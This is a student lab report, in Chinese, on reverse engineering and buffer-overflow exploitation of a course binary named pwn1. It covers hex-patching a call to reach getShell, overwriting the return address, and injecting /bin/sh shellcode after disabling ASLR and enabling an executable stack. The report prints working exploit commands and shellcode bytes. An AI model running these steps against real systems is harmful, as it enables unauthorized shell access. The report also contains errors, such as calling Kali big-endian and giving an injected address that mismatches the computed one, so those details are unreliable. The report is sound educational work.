2018-2019-2 20165314《网络对抗技术》Exp1 PC平台逆向破解

实践目的

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行Shellcode。

基础知识

NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
JNE：条件转移指令，如果不相等则跳转。（机器码：75）
JE：条件转移指令，如果相等则跳转。（机器码：74）
JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移 Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果

实践内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

这张图是进程地址空间分布的简单表示。代码存储了用户程序的所有可执行代码，在程序正常执行的情况下，程序计数器（PC指针）只会在代码段和操作系统地址空间（内核态）内寻址。数据段内存储了用户程序的全局变量，文字池等。栈空间存储了用户程序的函数栈帧（包括参数、局部数据等），实现函数调用机制，它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等，数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域，其他的内存区域都可能作为缓冲区，因此缓冲区溢出的位置可能在数据段，也可能在堆、栈段。如果程序的代码有软件漏洞，恶意程序会“教唆”程序计数器从上述缓冲区内取指，执行恶意程序提供的数据代码！（如果我没理解错的话，实验二三就是让堆里的数据溢出到栈里吗。？）
注入一个自己制作的shellcode并运行这段shellcode。

任务一、直接修改程序机器指令，改变程序执行流程

使用`objdump -d 20165314pwn1`将pwn1反汇编

不难看出，80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令，在main函数中调用位于地址8048491处的foo函数，e8表示“call”，即跳转。

如果我们想让函数调用getShell，只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量，我们计算出应该改为c3 ff ff ff。

修改步骤如下：

1.vim 20165314pwn1进入命令模式

2.输入:%!xxd将显示模式切换为十六进制

3.在底行模式输入/e8 d7定位需要修改的地方，并确认

4.进入插入模式，修改d7为c3

5.输入:%!xxd -r将十六进制转换为原格式

6.输入:wq保存并退出

反汇编查看修改后的代码，发现call指令正确调用getShell

运行修改后的代码，可以得到shell提示符

任务二、通过构造输入参数，造成BOF攻击，改变程序执行流

实验思路：

pwn2正常运行是调用函数foo，这个函数有Bufferoverflow漏洞。读入字符串时，系统只预留了一定字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。尝试发现，当输入为以下字符时已经发生段错误,产生溢出。

1、运行pwn2，打开另一个终端窗口进入gdb，在foo函数的ret指令处设置断点，回到pwn2运行的终端输入字串1111111122222222333333334444444455555555，观察一下各寄存器的值

此时eip寄存器中的值为0x35353535，即5555的ASCII码。eip寄存器的值是保存程序下一步所要执行指令的地址，此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆盖。

2、将输入字符串的“55555555”改成“12345678”，此时寄存器eip的值，换算成ASCⅡ码刚好是1234。

也就是说如果输入字符串1111111122222222333333334444444412345678，那1234那4个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输给pwn2，pwn2就会运行getShell由反汇编结果可知getShell的内存地址为：0804847d,因无法通过键盘输入\x7d\x84\x04\x08这样的16进制值，需要使用Perl语言构造文件（Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用）

3、输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input，由于kali系统采用的是大端法，所以构造内存地址时注意顺序，末尾的\0a表示回车换行。

4、然后将input```，通过管道符“|”，作为pwn1的输入,格式为```(cat input; cat ) | ./pwn。

攻击成功

任务三、注入Shellcode并运行攻击

实验思路：注入shellcode使覆盖后的返回地址为shellcode()的起始地址

shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下内容

设置堆栈可执行 execstack -s pwn2

查询文件的堆栈是否可执行 execstack -q pwn2//预期结果应为“X pwn2”

关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

查询地址随机化是否关闭(0代表关闭，2代表开启)

more /proc/sys/kernel/randomize_va_space

3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)

采用老师提供的shellcode 的代码\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00,

用perl语言输入代码perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

3.2确定返回地址的值

将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖(cat input_shellcode;cat) | ./pwn2,打开另外一个终端，用gdb来调试pwn2ps -ef | grep pwn2确定pwn2的进程号

启动gdb调试这个程序 gdb ,attach 3900
设置断点来查看注入buf的内存地址disassemble foo

ret的地址为 0x080484ae,ret执行完就会跳到我们覆盖的返回地址了
break *0x080484ae设置断点
在另一个终端按下回车，这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入 c 继续运行程序
通过info r esp查看esp寄存器的地址

上图可以看到 01020304所在的地址为0xffffd28c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置，即0xffffd28c + 0x00000004 = 0xffffd290

退出gdb调试。
修改注入代码的覆盖地址

输入perl -e 'print "A" x 32;printt"\x40\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

执行程序，攻击成功

实验中遇到问题及解决方法

Q:下载的pwn1无法修改，提示权限不够

A：输入chmod a+x pwn1修改权限即可，关于出现这个问题的原因我跟其他同学讨论了一下，得到的结论是64位的大段机器不能直接运行pwn，但是32位的小端机器可以直接运行，but..why?

Q：注入修改后的shellcode之后运行pwn3提示段错误

A：重新设置堆栈可执行

Q：实验一中修改pwn1后无法运行

A：在十六进制下修改pwn1文件之后要用%!xxd -r改回原来的格式

PS：周一有同学问我pwn执行提示无法执行二进制文件，老师在群里说是没安装32位的库所以不兼容的问题，我拿做完实验二的pwn2试了一下也出现这种问题，所以我以为是注入的代码会对程序本身造成破坏，但是我第二天把初始pwn1重新做了一遍就没出现这种情况

实验收获与感想

收获：进一步理解了缓存溢出的过程与危害，学会了利用BOF漏洞进行攻击，自己上手操作还是会有很多细节做得不对或者不懂，还是应该多问问老师和其他同学

什么是漏洞？有什么危害

emmm看到这个问题我愣了一下，就这么让我描述我有点懵，复制一句我百度到的，“漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。”其实这里说的破坏并不只是指实体层次的破坏，也有可能是功能层面的破坏，就比如说我们学过的SYNFLOOD攻击，利用TCP协议等待响应包的漏洞，使得目标机无法响应正常包，而目标机器本身并没有被破坏。漏洞的危害一句话说就是被攻击者会执行未授权的服务，或无法执行已授权的服务，例如，无法正常响应收到的包，又或者是访问者可以访问未收钱的数据等等。

巴特西